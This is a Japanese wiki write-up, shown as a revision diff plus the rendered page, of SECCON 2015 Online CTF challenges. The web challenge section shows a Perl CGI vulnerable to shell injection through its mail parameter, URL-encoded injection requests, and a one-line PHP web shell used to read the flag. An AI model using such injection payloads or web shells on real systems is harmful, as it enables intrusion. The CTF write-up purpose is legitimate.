「SECCON 2015 Online CTF」の版間の差分
行6: | 行6: | ||
== 概要 == | == 概要 == | ||
+ | == Web/Network 100: Entry form == | ||
+ | 問題は、以下のとおりです。 | ||
+ | http://entryform.pwn.seccon.jp/register.cgi | ||
+ | |||
+ | ( Do not use your real mail address.) | ||
+ | (登録情報に他人に知られたくないメールアドレスは使用しないでください) | ||
+ | |||
+ | http://entryform.pwn.seccon.jp/register.cgi | ||
+ | にアクセスします。パスからもわかりますが、CGIが動いてます。 | ||
+ | パラメータを弄くって、なにかするんだろ、と思いました。 | ||
+ | |||
+ | メールアドレスを入れる欄があるので、入れてみますが、メールは届きません。 | ||
+ | |||
+ | 途方にくれていましたが、 | ||
+ | http://entryform.pwn.seccon.jp/register.cgi | ||
+ | のディレクトリを漁ることになりました。 | ||
+ | http://entryform.pwn.seccon.jp/ | ||
+ | を見てみると | ||
+ | SECRETS | ||
+ | register.cgi | ||
+ | register.cgi_bak | ||
+ | logo.png | ||
+ | などのファイルがありました。 | ||
+ | |||
+ | register.cgi_bak というファイルがあるので、ダウンロードしました。これは、register.cgi のソースコード(perl)です。 | ||
+ | |||
+ | ソースコードをながめていると '''FLAG HERE''' というコメントがあります。 | ||
+ | <syntaxhighlight lang="perl"> | ||
+ | if($q->param("mail") ne '' && $q->param("name") ne '') { | ||
+ | open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'"); | ||
+ | print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: | ||
+ | from SECCON Entry Form\n\nWe received your entry.\n"; | ||
+ | close(SH); | ||
+ | |||
+ | open(LOG, ">>log"); ### <-- FLAG HERE ### | ||
+ | </syntaxhighlight> | ||
+ | log というファイルに FLAG があるようです。 | ||
+ | |||
+ | open 関数に、コマンドを流し込めば、なんとかできそうに見えます。 | ||
+ | cat log | ||
+ | みたいなコマンドラインが突っ込めるとよさそうです。 | ||
+ | |||
+ | register.cgi で cat log がうまくできなかったのと、 SECRETS のディレクトリが気になったので、そちらをあさってみました。 | ||
+ | |||
+ | ?mail=test%40a.com'%3B+ls+-l+.%2FSECRETS+%23&name=a&action=Send | ||
+ | みたいなリクエストを送ると、レスポンスに以下のテキストが入ってきます。 | ||
+ | <syntaxhighlight lang="bash"> | ||
+ | total 8 | ||
+ | -r--r--r-- 1 root root 42 Dec 1 21:52 backdoor123.php | ||
+ | -r--r--r-- 1 root root 19 Dec 1 21:52 index.html | ||
+ | </syntaxhighlight> | ||
+ | backdoor123.php という怪しいのがみつかります。で、これの中身が気になったので、ソースを眺めてみます。 | ||
+ | |||
+ | <syntaxhighlight lang="bash"> | ||
+ | $ curl -s "http://entryform.pwn.seccon.jp/register.cgi?mail=test%40gmail.com%27%3B+cat+.%2FSECRETS%2Fbackdoor123.php+%23&name=a&action=Send" | ||
+ | <pre><?php system($_GET['cmd']); ?></pre> | ||
+ | </syntaxhighlight> | ||
+ | つまり、PHPのソースコードは以下のとおりです。 | ||
+ | <syntaxhighlight lang="php"> | ||
+ | <pre><?php system($_GET['cmd']); ?></pre> | ||
+ | </syntaxhighlight> | ||
+ | ここまでくれば、問題が解けそうですね。 | ||
+ | |||
+ | PHP を利用して、コマンドインジェクションしてみます。 | ||
+ | FLAG が入っているとウワサのログ(log)ファイルを確認します。 | ||
+ | <syntaxhighlight lang="bash"> | ||
+ | http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat ../log | ||
+ | |||
+ | SECCON{Glory_will_shine_on_you.} | ||
+ | </syntaxhighlight> | ||
+ | できた!ということで、解けました。 | ||
== Binary 300: Exec dmesg == | == Binary 300: Exec dmesg == | ||
問題は、以下のとおりです。 | 問題は、以下のとおりです。 |
2015年12月6日 (日) 18:37時点における版
2015/12/05 15:00 - 2015/12/06 15:00 の24時間に、SECCON 2015 Online CTF が開催されました。
読み方
- SECCON
- せくこん
目次
概要
Web/Network 100: Entry form
問題は、以下のとおりです。
http://entryform.pwn.seccon.jp/register.cgi ( Do not use your real mail address.) (登録情報に他人に知られたくないメールアドレスは使用しないでください)
http://entryform.pwn.seccon.jp/register.cgi
にアクセスします。パスからもわかりますが、CGIが動いてます。 パラメータを弄くって、なにかするんだろ、と思いました。
メールアドレスを入れる欄があるので、入れてみますが、メールは届きません。
途方にくれていましたが、
http://entryform.pwn.seccon.jp/register.cgi
のディレクトリを漁ることになりました。
http://entryform.pwn.seccon.jp/
を見てみると
SECRETS register.cgi register.cgi_bak logo.png
などのファイルがありました。
register.cgi_bak というファイルがあるので、ダウンロードしました。これは、register.cgi のソースコード(perl)です。
ソースコードをながめていると FLAG HERE というコメントがあります。
if($q->param("mail") ne '' && $q->param("name") ne '') { open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'"); print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n"; close(SH); open(LOG, ">>log"); ### <-- FLAG HERE ###
log というファイルに FLAG があるようです。
open 関数に、コマンドを流し込めば、なんとかできそうに見えます。
cat log
みたいなコマンドラインが突っ込めるとよさそうです。
register.cgi で cat log がうまくできなかったのと、 SECRETS のディレクトリが気になったので、そちらをあさってみました。
?mail=test%40a.com'%3B+ls+-l+.%2FSECRETS+%23&name=a&action=Send
みたいなリクエストを送ると、レスポンスに以下のテキストが入ってきます。
total 8 -r--r--r-- 1 root root 42 Dec 1 21:52 backdoor123.php -r--r--r-- 1 root root 19 Dec 1 21:52 index.html
backdoor123.php という怪しいのがみつかります。で、これの中身が気になったので、ソースを眺めてみます。
$ curl -s "http://entryform.pwn.seccon.jp/register.cgi?mail=test%40gmail.com%27%3B+cat+.%2FSECRETS%2Fbackdoor123.php+%23&name=a&action=Send"<?php system($_GET['cmd']); ?>
つまり、PHPのソースコードは以下のとおりです。
UNIQ439dd3b5d0bb482d-pre-00000005-QINU
ここまでくれば、問題が解けそうですね。
PHP を利用して、コマンドインジェクションしてみます。 FLAG が入っているとウワサのログ(log)ファイルを確認します。
http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat ../log SECCON{Glory_will_shine_on_you.}
できた!ということで、解けました。
Binary 300: Exec dmesg
問題は、以下のとおりです。
Please find secret message from the iso linux image. image.zip 秘密のメッセージをLinuxのisoイメージの中から見つけてください。 image.zip
Exec dmesgは、 Linux の iso イメージからヒミツのメッセージを見つけてください、という問題です。問題文から dmesg を実行したら良さそうに見えます。
まず、iso イメージのLinuxを起動します。 VMWare Player で新しい仮想マシンを作成して、インストールメディアとして tiny_linux/core-current.iso イメージをマウントして、起動します。
dmesg コマンドを実行してみますが、実行できず、確認できません。
tc@box:~$ dmesg dmesg: applet not found
そこで、以下の手順で FLAG を探します。
$ cat /dev/kmsg | grep SECCON 7,311,180341,-;SECCON{elf32-i386}
これが、FLAGのようです。
/proc/kmsg では、見つかりませんでした。
sudo cat /proc/kmsg
Exercises 50: Last Challenge (Thank you for playing)
暗号の練習問題的な問題です。特に道具は必要はなく、 vim の中で解きました。
ex1 Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ex2 Cipher:EV}ZZD{DWZRA}FFDNFGQO Plain: {HELLOWORLDSECCONCTF} quiz Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: ?????????????????????? There is no bonus in this question
ここを解きます。
Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: ??????????????????????
今までの問題で、以下の形式になっていることがわかってます。
Plain: SECCON{______________}
というわけで
Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: SECCON{______________}
になるので
A->S }->E F->C D->O N->N E->{ O->}
が自動的に決定しました。 それを当てはめると
Cipher:A}FFDNEA}}HDJN}LGH}PWO Plain: SECCON{SEE_O_NE___E__}
になります。なんとなく、見えてきてますよね。 SEE YOU ... みたいになりそうです。
ここからは、 ex1 と ex1 の変換を当てはめていくと
SECCON{SEEYOUNEXTYEAR}
となりました。これが答えです。
SEE YOU NEXT YEAR ということで、また来年、というメッセージでした。